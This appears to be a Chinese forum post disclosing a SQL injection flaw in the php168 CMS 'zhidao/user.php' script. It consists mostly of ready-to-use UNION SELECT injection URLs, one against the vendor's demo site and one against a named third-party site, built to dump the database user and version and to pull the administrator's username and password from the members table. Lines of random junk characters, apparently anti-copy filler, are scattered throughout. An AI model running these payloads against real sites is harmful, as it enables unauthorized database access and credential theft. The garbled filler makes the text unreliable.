php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
( @: p7 W/ y9 Y+ D                                       
8 Q7 H' t7 f$ Y4 u" {
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
* d+ h- _* O- @8 J# z; c                                                     
0 _' c! K$ z# a# v                                                                  
  J$ V0 T* |) K- U: R3 K                                                        
! g% c; i6 Z5 }! i* I& F* @http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
7 q* b: G) E6 r) d+ H0 c9 L9 B" c

* c. w3 s( j5 U" L
7 _* D2 K' ^- k: o7 V1 ~& \  R9 @                                                            
8 d' Y/ P4 g3 D4 c
4 S7 W0 U# W% ~6 Y# \0 P2 Hhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--


6 c8 |& W1 J$ m6 n
* K, R! i- Q$ e) t4 Y& J7 ~                                                                    
0 R; _# M5 O! ]( D, B